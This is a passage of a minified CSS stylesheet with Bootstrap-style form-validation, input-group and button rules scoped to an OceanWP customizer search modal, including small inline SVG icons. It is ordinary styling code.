.input-group-sm>.input-group-text,.ocean-customize-search-modal .input-group-sm>.btn{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}#ocean-wp-customize-search .input-group-lg>.form-select,#ocean-wp-customize-search .input-group-sm>.form-select,.ocean-customize-search-modal .input-group-lg>.form-select,.ocean-customize-search-modal .input-group-sm>.form-select{padding-right:3rem}#ocean-wp-customize-search .input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu),#ocean-wp-customize-search .input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.ocean-customize-search-modal .input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu),.ocean-customize-search-modal .input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3){border-top-right-radius:0;border-bottom-right-radius:0}#ocean-wp-customize-search .input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu),#ocean-wp-customize-search .input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.ocean-customize-search-modal .input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu),.ocean-customize-search-modal .input-group.has-validation>.dropdown-toggle:nth-last-child(n+4){border-top-right-radius:0;border-bottom-right-radius:0}#ocean-wp-customize-search .input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback),.ocean-customize-search-modal .input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}#ocean-wp-customize-search .valid-feedback,.ocean-customize-search-modal .valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}#ocean-wp-customize-search .valid-tooltip,.ocean-customize-search-modal .valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,0.9);border-radius:.25rem}.was-validated #ocean-wp-customize-search:valid ~ .valid-feedback,.was-validated #ocean-wp-customize-search:valid ~ .valid-tooltip,#ocean-wp-customize-search.is-valid ~ .valid-feedback,#ocean-wp-customize-search.is-valid ~ .valid-tooltip,.was-validated .ocean-customize-search-modal:valid ~ .valid-feedback,.was-validated .ocean-customize-search-modal:valid ~ .valid-tooltip,.ocean-customize-search-modal.is-valid ~ .valid-feedback,.ocean-customize-search-modal.is-valid ~ .valid-tooltip{display:block}.was-validated #ocean-wp-customize-search .form-control:valid,#ocean-wp-customize-search .form-control.is-valid,.was-validated .ocean-customize-search-modal .form-control:valid,.ocean-customize-search-modal .form-control.is-valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.was-validated #ocean-wp-customize-search .form-control:valid:focus,#ocean-wp-customize-search .form-control.is-valid:focus,.was-validated .ocean-customize-search-modal .form-control:valid:focus,.ocean-customize-search-modal .form-control.is-valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,0.25)}.was-validated #ocean-wp-customize-search textarea.form-control:valid,#ocean-wp-customize-search textarea.form-control.is-valid,.was-validated .ocean-customize-search-modal textarea.form-control:valid,.ocean-customize-search-modal textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.was-validated #ocean-wp-customize-search .form-select:valid,#ocean-wp-customize-search .form-select.is-valid,.was-validated .ocean-customize-search-modal .form-select:valid,.ocean-customize-search-modal .form-select.is-valid{border-color:#198754}.was-validated #ocean-wp-customize-search .form-select:valid:not([multiple]):not([size]),.was-validated #ocean-wp-customize-search .form-select:valid:not([multiple])[size="1"],#ocean-wp-customize-search .form-select.is-valid:not([multiple]):not([size]),#ocean-wp-customize-search .form-select.is-valid:not([multiple])[size="1"],.was-validated .ocean-customize-search-modal .form-select:valid:not([multiple]):not([size]),.was-validated .ocean-customize-search-modal .form-select:valid:not([multiple])[size="1"],.ocean-customize-search-modal .form-select.is-valid:not([multiple]):not([size]),.ocean-customize-search-modal .form-select.is-valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.was-validated #ocean-wp-customize-search .form-select:valid:focus,#ocean-wp-customize-search .form-select.is-valid:focus,.was-validated .ocean-customize-search-modal .form-select:valid:focus,.ocean-customize-search-modal .form-select.is-valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,0.25)}.was-validated #ocean-wp-customize-search .form-check-input:valid,#ocean-wp-customize-search .form-check-input.is-valid,.was-validated .ocean-customize-search-modal .form-check-input:valid,.ocean-customize-search-modal .form-check-input.is-valid{border-color:#198754}.was-validated #ocean-wp-customize-search .form-check-input:valid:checked,#ocean-wp-customize-search .form-check-input.is-valid:checked,.was-validated .ocean-customize-search-modal .form-check-input:valid:checked,.ocean-customize-search-modal .form-check-input.is-valid:checked{background-color:#198754}.was-validated #ocean-wp-customize-search .form-check-input:valid:focus,#ocean-wp-customize-search .form-check-input.is-valid:focus,.was-validated .ocean-customize-search-modal .form-check-input:valid:focus,.ocean-customize-search-modal .form-check-input.is-valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,0.25)}.was-validated #ocean-wp-customize-search .form-check-input:valid ~ .form-check-label,#ocean-wp-customize-search .form-check-input.is-valid ~ .form-check-label,.was-validated .ocean-customize-search-modal .form-check-input:valid ~ .form-check-label,.ocean-customize-search-modal .form-check-input.is-valid ~ .form-check-label{color:#198754}#ocean-wp-customize-search .form-check-inline .form-check-input ~ .valid-feedback,.ocean-customize-search-modal .form-check-inline .form-check-input ~ .valid-feedback{margin-left:.5em}.was-validated #ocean-wp-customize-search .input-group .form-control:valid,#ocean-wp-customize-search .input-group .form-control.is-valid,.was-validated #ocean-wp-customize-search .input-group .form-select:valid,#ocean-wp-customize-search .input-group .form-select.is-valid,.was-validated .ocean-customize-search-modal .input-group .form-control:valid,.ocean-customize-search-modal .input-group .form-control.is-valid,.was-validated .ocean-customize-search-modal .input-group .form-select:valid,.ocean-customize-search-modal .input-group .form-select.is-valid{z-index:1}.was-validated #ocean-wp-customize-search .input-group .form-control:valid:focus,#ocean-wp-customize-search .input-group .form-control.is-valid:focus,.was-validated #ocean-wp-customize-search .input-group .form-select:valid:focus,#ocean-wp-customize-search .input-group .form-select.is-valid:focus,.was-validated .ocean-customize-search-modal .input-group .form-control:valid:focus,.ocean-customize-search-modal .input-group .form-control.is-valid:focus,.was-validated .ocean-customize-search-modal .input-group .form-select:valid:focus,.ocean-customize-search-modal .input-group .form-select.is-valid:focus{z-index:3}#ocean-wp-customize-search .invalid-feedback,.ocean-customize-search-modal .invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}#ocean-wp-customize-search .invalid-tooltip,.ocean-customize-search-modal .invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,0.9);border-radius:.25rem}.was-validated #ocean-wp-customize-search:invalid ~ .invalid-feedback,.was-validated #ocean-wp-customize-search:invalid ~ .invalid-tooltip,#ocean-wp-customize-search.is-invalid ~ .invalid-feedback,#ocean-wp-customize-search.is-invalid ~ .invalid-tooltip,.was-validated .ocean-customize-search-modal:invalid ~ .invalid-feedback,.was-validated .ocean-customize-search-modal:invalid ~ .invalid-tooltip,.ocean-customize-search-modal.is-invalid ~ .invalid-feedback,.ocean-customize-search-modal.is-invalid ~ .invalid-tooltip{display:block}.was-validated #ocean-wp-customize-search .form-control:invalid,#ocean-wp-customize-search .form-control.is-invalid,.was-validated .ocean-customize-search-modal .form-control:invalid,.ocean-customize-search-modal .form-control.is-invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.was-validated #ocean-wp-customize-search .form-control:invalid:focus,#ocean-wp-customize-search .form-control.is-invalid:focus,.was-validated .ocean-customize-search-modal .form-control:invalid:focus,.ocean-customize-search-modal .form-control.is-invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,0.25)}.was-validated #ocean-wp-customize-search textarea.form-control:invalid,#ocean-wp-customize-search textarea.form-control.is-invalid,.was-validated .ocean-customize-search-modal textarea.form-control:invalid,.ocean-customize-search-modal textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.was-validated #ocean-wp-customize-search .form-select:invalid,#ocean-wp-customize-search .form-select.is-invalid,.was-validated .ocean-customize-search-modal .form-select:invalid,.ocean-customize-search-modal .form-select.is-invalid{border-color:#dc3545}.was-validated #ocean-wp-customize-search .form-select:invalid:not([multiple]):not([size]),.was-validated #ocean-wp-customize-search .form-select:invalid:not([multiple])[size="1"],#ocean-wp-customize-search .form-select.is-invalid:not([multiple]):not([size]),#ocean-wp-customize-search .form-select.is-invalid:not([multiple])[size="1"],.was-validated .ocean-customize-search-modal .form-select:invalid:not([multiple]):not([size]),.was-validated .ocean-customize-search-modal .form-select:invalid:not([multiple])[size="1"],.ocean-customize-search-modal .form-select.is-invalid:not([multiple]):not([size]),.ocean-customize-search-modal .form-select.is-invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.was-validated #ocean-wp-customize-search .form-select:invalid:focus,#ocean-wp-customize-search .form-select.is-invalid:focus,.was-validated .ocean-customize-search-modal .form-select:invalid:focus,.ocean-customize-search-modal .form-select.is-invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,0.25)}.was-validated #ocean-wp-customize-search .form-check-input:invalid,#ocean-wp-customize-search .form-check-input.is-invalid,.was-validated .ocean-customize-search-modal .form-check-input:invalid,.ocean-customize-search-modal .form-check-input.is-invalid{border-color:#dc3545}.was-validated #ocean-wp-customize-search .form-check-input:invalid:checked,#ocean-wp-customize-search .form-check-input.is-invalid:checked,.was-validated .ocean-customize-search-modal .form-check-input:invalid:checked,.ocean-customize-search-modal .form-check-input.is-invalid:checked{background-color:#dc3545}.was-validated #ocean-wp-customize-search .form-check-input:invalid:focus,#ocean-wp-customize-search .form-check-input.is-invalid:focus,.was-validated .ocean-customize-search-modal .form-check-input:invalid:focus,.ocean-customize-search-modal .form-check-input.is-invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,0.25)}.was-validated #ocean-wp-customize-search .form-check-input:invalid ~ .form-check-label,#ocean-wp-customize-search .form-check-input.is-invalid ~ .form-check-label,.was-validated .ocean-customize-search-modal .form-check-input:invalid ~ .form-check-label,.ocean-customize-search-modal .form-check-input.is-invalid ~ .form-check-label{color:#dc3545}#ocean-wp-customize-search .form-check-inline .form-check-input ~ .invalid-feedback,.ocean-customize-search-modal .form-check-inline .form-check-input ~ .invalid-feedback{margin-left:.5em}.was-validated #ocean-wp-customize-search .input-group .form-control:invalid,#ocean-wp-customize-search .input-group .form-control.is-invalid,.was-validated #ocean-wp-customize-search .input-group .form-select:invalid,#ocean-wp-customize-search .input-group .form-select.is-invalid,.was-validated .ocean-customize-search-modal .input-group .form-control:invalid,.ocean-customize-search-modal .input-group .form-control.is-invalid,.was-validated .ocean-customize-search-modal .input-group .form-select:invalid,.ocean-customize-search-modal .input-group .form-select.is-invalid{z-index:2}.was-validated #ocean-wp-customize-search .input-group .form-control:invalid:focus,#ocean-wp-customize-search .input-group .form-control.is-invalid:focus,.was-validated #ocean-wp-customize-search .input-group .form-select:invalid:focus,#ocean-wp-customize-search .input-group .form-select.is-invalid:focus,.was-validated .ocean-customize-search-modal .input-group .form-control:invalid:focus,.ocean-customize-search-modal .input-group .form-control.is-invalid:focus,.was-validated .ocean-customize-search-modal .input-group .form-select:invalid:focus,.ocean-customize-search-modal .input-group .form-select.is-invalid:focus{z-index:3}#ocean-wp-customize-search .btn,.ocean-customize-search-modal .btn{display:inline-block;font-weight:400;line-height:1.5;color:#212529;text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;border-radius:.25rem;transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .btn,.ocean-customize-search-modal .btn{transition:none}}#ocean-wp-customize-search .btn:hover,.ocean-customize-search-modal .btn:hover{color:#212529}.btn-check:focus+#ocean-wp-customize-search .btn,#ocean-wp-customize-search .btn:focus,.btn-check:focus+.ocean-customize-search-modal .btn,.ocean-customize-search-modal .btn:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,0.25)}#ocean-wp-customize-search .btn:disabled,#ocean-wp-customize-search .btn.disabled,fieldset:disabled #ocean-wp-customize-search .btn,.ocean-customize-search-modal .btn:disabled,.ocean-customize-search-modal .btn.disabled,fieldset:disabled .ocean-customize-search-modal .btn{pointer-events:none;opacity:.65}#ocean-wp-customize-search .btn-primary,.ocean-customize-search-modal .btn-primary{color:#fff;background-color:#0d6efd;border-color:#0d6efd}#ocean-wp-customize-search .btn-primary:hover,.ocean-customize-search-modal .btn-primary:hover{color:#fff;background-color:#0b5ed7;border-color:#0a58ca}.btn-check:focus+#ocean-wp-customize-search .btn-primary,#ocean-wp-customize-search .btn-primary:focus,.btn-check:focus+.ocean-customize-search-modal .btn-primary,.ocean-customize-search-modal .btn-primary:focus{color:#fff;background-color:#0b5ed7;border-color:#0a58ca;box-shadow:0 0 0 .25rem rgba(49,132,253,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-primary,.btn-check:active+#ocean-wp-customize-search .btn-primary,#ocean-wp-customize-search .btn-primary:active,#ocean-wp-customize-search .btn-primary.active,.show>#ocean-wp-customize-search .btn-primary.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-primary,.btn-check:active+.ocean-customize-search-modal .btn-primary,.ocean-customize-search-modal .btn-primary:active,.ocean-customize-search-modal .btn-primary.active,.show>.ocean-customize-search-modal .btn-primary.dropdown-toggle{color:#fff;background-color:#0a58ca;border-color:#0a53be}.btn-check:checked+#ocean-wp-customize-search .btn-primary:focus,.btn-check:active+#ocean-wp-customize-search .btn-primary:focus,#ocean-wp-customize-search .btn-primary:active:focus,#ocean-wp-customize-search .btn-primary.active:focus,.show>#ocean-wp-customize-search .btn-primary.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-primary:focus,.btn-check:active+.ocean-customize-search-modal .btn-primary:focus,.ocean-customize-search-modal .btn-primary:active:focus,.ocean-customize-search-modal .btn-primary.active:focus,.show>.ocean-customize-search-modal .btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(49,132,253,0.5)}#ocean-wp-customize-search .btn-primary:disabled,#ocean-wp-customize-search .btn-primary.disabled,.ocean-customize-search-modal .btn-primary:disabled,.ocean-customize-search-modal .btn-primary.disabled{color:#fff;background-color:#0d6efd;border-color:#0d6efd}#ocean-wp-customize-search .btn-secondary,.ocean-customize-search-modal .btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}#ocean-wp-customize-search .btn-secondary:hover,.ocean-customize-search-modal .btn-secondary:hover{color:#fff;background-color:#5c636a;border-color:#565e64}.btn-check:focus+#ocean-wp-customize-search .btn-secondary,#ocean-wp-customize-search .btn-secondary:focus,.btn-check:focus+.ocean-customize-search-modal .btn-secondary,.ocean-customize-search-modal .btn-secondary:focus{color:#fff;background-color:#5c636a;border-color:#565e64;box-shadow:0 0 0 .25rem rgba(130,138,145,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-secondary,.btn-check:active+#ocean-wp-customize-search .btn-secondary,#ocean-wp-customize-search .btn-secondary:active,#ocean-wp-customize-search .btn-secondary.active,.show>#ocean-wp-customize-search .btn-secondary.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-secondary,.btn-check:active+.ocean-customize-search-modal .btn-secondary,.ocean-customize-search-modal .btn-secondary:active,.ocean-customize-search-modal .btn-secondary.active,.show>.ocean-customize-search-modal .btn-secondary.dropdown-toggle{color:#fff;background-color:#565e64;border-color:#51585e}.btn-check:checked+#ocean-wp-customize-search .btn-secondary:focus,.btn-check:active+#ocean-wp-customize-search .btn-secondary:focus,#ocean-wp-customize-search .btn-secondary:active:focus,#ocean-wp-customize-search .btn-secondary.active:focus,.show>#ocean-wp-customize-search .btn-secondary.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-secondary:focus,.btn-check:active+.ocean-customize-search-modal .btn-secondary:focus,.ocean-customize-search-modal .btn-secondary:active:focus,.ocean-customize-search-modal .btn-secondary.active:focus,.show>.ocean-customize-search-modal .btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(130,138,145,0.5)}#ocean-wp-customize-search .btn-secondary:disabled,#ocean-wp-customize-search .btn-secondary.disabled,.ocean-customize-search-modal .btn-secondary:disabled,.ocean-customize-search-modal .btn-secondary.disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}#ocean-wp-customize-search .btn-success,.ocean-customize-search-modal .btn-success{color:#fff;background-color:#198754;border-color:#198754}#ocean-wp-customize-search .btn-success:hover,.ocean-customize-search-modal .btn-success:hover{color:#fff;background-color:#157347;border-color:#146c43}.btn-check:focus+#ocean-wp-customize-search .btn-success,#ocean-wp-customize-search .btn-success:focus,.btn-check:focus+.ocean-customize-search-modal .btn-success,.ocean-customize-search-modal .btn-success:focus{color:#fff;background-color:#157347;border-color:#146c43;box-shadow:0 0 0 .25rem rgba(60,153,110,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-success,.btn-check:active+#ocean-wp-customize-search .btn-success,#ocean-wp-customize-search .btn-success:active,#ocean-wp-customize-search .btn-success.active,.show>#ocean-wp-customize-search .btn-success.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-success,.btn-check:active+.ocean-customize-search-modal .btn-success,.ocean-customize-search-modal .btn-success:active,.ocean-customize-search-modal .btn-success.active,.show>.ocean-customize-search-modal .btn-success.dropdown-toggle{color:#fff;background-color:#146c43;border-color:#13653f}.btn-check:checked+#ocean-wp-customize-search .btn-success:focus,.btn-check:active+#ocean-wp-customize-search .btn-success:focus,#ocean-wp-customize-search .btn-success:active:focus,#ocean-wp-customize-search .btn-success.active:focus,.show>#ocean-wp-customize-search .btn-success.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-success:focus,.btn-check:active+.ocean-customize-search-modal .btn-success:focus,.ocean-customize-search-modal .btn-success:active:focus,.ocean-customize-search-modal .btn-success.active:focus,.show>.ocean-customize-search-modal .btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(60,153,110,0.5)}#ocean-wp-customize-search .btn-success:disabled,#ocean-wp-customize-search .btn-success.disabled,.ocean-customize-search-modal .btn-success:disabled,.ocean-customize-search-modal .btn-success.disabled{color:#fff;background-color:#198754;border-color:#198754}#ocean-wp-customize-search .btn-info,.ocean-customize-search-modal .btn-info{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}#ocean-wp-customize-search .btn-info:hover,.ocean-customize-search-modal .btn-info:hover{color:#000;background-color:#31d2f2;border-color:#25cff2}.btn-check:focus+#ocean-wp-customize-search .btn-info,#ocean-wp-customize-search .btn-info:focus,.btn-check:focus+.ocean-customize-search-modal .btn-info,.ocean-customize-search-modal .btn-info:focus{color:#000;background-color:#31d2f2;border-color:#25cff2;box-shadow:0 0 0 .25rem rgba(11,172,204,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-info,.btn-check:active+#ocean-wp-customize-search .btn-info,#ocean-wp-customize-search .btn-info:active,#ocean-wp-customize-search .btn-info.active,.show>#ocean-wp-customize-search .btn-info.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-info,.btn-check:active+.ocean-customize-search-modal .btn-info,.ocean-customize-search-modal .btn-info:active,.ocean-customize-search-modal .btn-info.active,.show>.ocean-customize-search-modal .btn-info.dropdown-toggle{color:#000;background-color:#3dd5f3;border-color:#25cff2}.btn-check:checked+#ocean-wp-customize-search .btn-info:focus,.btn-check:active+#ocean-wp-customize-search .btn-info:focus,#ocean-wp-customize-search .btn-info:active:focus,#ocean-wp-customize-search .btn-info.active:focus,.show>#ocean-wp-customize-search .btn-info.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-info:focus,.btn-check:active+.ocean-customize-search-modal .btn-info:focus,.ocean-customize-search-modal .btn-info:active:focus,.ocean-customize-search-modal .btn-info.active:focus,.show>.ocean-customize-search-modal .btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(11,172,204,0.5)}#ocean-wp-customize-search .btn-info:disabled,#ocean-wp-customize-search .btn-info.disabled,.ocean-customize-search-modal .btn-info:disabled,.ocean-customize-search-modal .btn-info.disabled{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}#ocean-wp-customize-search .btn-warning,.ocean-customize-search-modal .btn-warning{color:#000;background-color:#ffc107;border-color:#ffc107}#ocean-wp-customize-search .btn-warning:hover,.ocean-customize-search-modal .btn-warning:hover{color:#000;background-color:#ffca2c;border-color:#ffc720}.btn-check:focus+#ocean-wp-customize-search .btn-warning,#ocean-wp-customize-search .btn-warning:focus,.btn-check:focus+.ocean-customize-search-modal .btn-warning,.ocean-customize-search-modal .btn-warning:focus{color:#000;background-color:#ffca2c;border-color:#ffc720;box-shadow:0 0 0 .25rem rgba(217,164,6,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-warning,.btn-check:active+#ocean-wp-customize-search .btn-warning,#ocean-wp-customize-search .btn-warning:active,#ocean-wp-customize-search .btn-warning.active,.show>#ocean-wp-customize-search .btn-warning.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-warning,.btn-check:active+.ocean-customize-search-modal .btn-warning,.ocean-customize-search-modal .btn-warning:active,.ocean-customize-search-modal .btn-warning.active,.show>.ocean-customize-search-modal .btn-warning.dropdown-toggle{color:#000;background-color:#ffcd39;border-color:#ffc720}.btn-check:checked+#ocean-wp-customize-search .btn-warning:focus,.btn-check:active+#ocean-wp-customize-search .btn-warning:focus,#ocean-wp-customize-search .btn-warning:active:focus,#ocean-wp-customize-search .btn-warning.active:focus,.show>#ocean-wp-customize-search .btn-warning.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-warning:focus,.btn-check:active+.ocean-customize-search-modal .btn-warning:focus,.ocean-customize-search-modal .btn-warning:active:focus,.ocean-customize-search-modal .btn-warning.active:focus,.show>.ocean-customize-search-modal .btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(217,164,6,0.5)}#ocean-wp-customize-search .btn-warning:disabled,#ocean-wp-customize-search .btn-warning.disabled,.ocean-customize-search-modal .btn-warning:disabled,.ocean-customize-search-modal .btn-warning.disabled{color:#000;background-color:#ffc107;border-color:#ffc107}#ocean-wp-customize-search .btn-danger,.ocean-customize-search-modal .btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}#ocean-wp-customize-search .btn-danger:hover,.ocean-customize-search-modal .btn-danger:hover{color:#fff;background-color:#bb2d3b;border-color:#b02a37}.btn-check:focus+#ocean-wp-customize-search .btn-danger,#ocean-wp-customize-search .btn-danger:focus,.btn-check:focus+.ocean-customize-search-modal .btn-danger,.ocean-customize-search-modal .btn-danger:focus{color:#fff;background-color:#bb2d3b;border-color:#b02a37;box-shadow:0 0 0 .25rem rgba(225,83,97,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-danger,.btn-check:active+#ocean-wp-customize-search .btn-danger,#ocean-wp-customize-search .btn-danger:active,#ocean-wp-customize-search .btn-danger.active,.show>#ocean-wp-customize-search .btn-danger.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-danger,.btn-check:active+.ocean-customize-search-modal .btn-danger,.ocean-customize-search-modal .btn-danger:active,.ocean-customize-search-modal .btn-danger.active,.show>.ocean-customize-search-modal .btn-danger.dropdown-toggle{color:#fff;background-color:#b02a37;border-color:#a52834}.btn-check:checked+#ocean-wp-customize-search .btn-danger:focus,.btn-check:active+#ocean-wp-customize-search .btn-danger:focus,#ocean-wp-customize-search .btn-danger:active:focus,#ocean-wp-customize-search .btn-danger.active:focus,.show>#ocean-wp-customize-search .btn-danger.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-danger:focus,.btn-check:active+.ocean-customize-search-modal .btn-danger:focus,.ocean-customize-search-modal .btn-danger:active:focus,.ocean-customize-search-modal .btn-danger.active:focus,.show>.ocean-customize-search-modal .btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(225,83,97,0.5)}#ocean-wp-customize-search .btn-danger:disabled,#ocean-wp-customize-search .btn-danger.disabled,.ocean-customize-search-modal .btn-danger:disabled,.ocean-customize-search-modal .btn-danger.disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}#ocean-wp-customize-search .btn-light,.ocean-customize-search-modal .btn-light{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}#ocean-wp-customize-search .btn-light:hover,.ocean-customize-search-modal .btn-light:hover{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:focus+#ocean-wp-customize-search .btn-light,#ocean-wp-customize-search .btn-light:focus,.btn-check:focus+.ocean-customize-search-modal .btn-light,.ocean-customize-search-modal .btn-light:focus{color:#000;background-color:#f9fafb;border-color:#f9fafb;box-shadow:0 0 0 .25rem rgba(211,212,213,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-light,.btn-check:active+#ocean-wp-customize-search .btn-light,#ocean-wp-customize-search .btn-light:active,#ocean-wp-customize-search .btn-light.active,.show>#ocean-wp-customize-search .btn-light.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-light,.btn-check:active+.ocean-customize-search-modal .btn-light,.ocean-customize-search-modal .btn-light:active,.ocean-customize-search-modal .btn-light.active,.show>.ocean-customize-search-modal .btn-light.dropdown-toggle{color:#000;background-color:#f9fafb;border-color:#f9fafb}.btn-check:checked+#ocean-wp-customize-search .btn-light:focus,.btn-check:active+#ocean-wp-customize-search .btn-light:focus,#ocean-wp-customize-search .btn-light:active:focus,#ocean-wp-customize-search .btn-light.active:focus,.show>#ocean-wp-customize-search .btn-light.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-light:focus,.btn-check:active+.ocean-customize-search-modal .btn-light:focus,.ocean-customize-search-modal .btn-light:active:focus,.ocean-customize-search-modal .btn-light.active:focus,.show>.ocean-customize-search-modal .btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(211,212,213,0.5)}#ocean-wp-customize-search .btn-light:disabled,#ocean-wp-customize-search .btn-light.disabled,.ocean-customize-search-modal .btn-light:disabled,.ocean-customize-search-modal .btn-light.disabled{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}#ocean-wp-customize-search .btn-dark,.ocean-customize-search-modal .btn-dark{color:#fff;background-color:#212529;border-color:#212529}#ocean-wp-customize-search .btn-dark:hover,.ocean-customize-search-modal .btn-dark:hover{color:#fff;background-color:#1c1f23;border-color:#1a1e21}.btn-check:focus+#ocean-wp-customize-search .btn-dark,#ocean-wp-customize-search .btn-dark:focus,.btn-check:focus+.ocean-customize-search-modal .btn-dark,.ocean-customize-search-modal 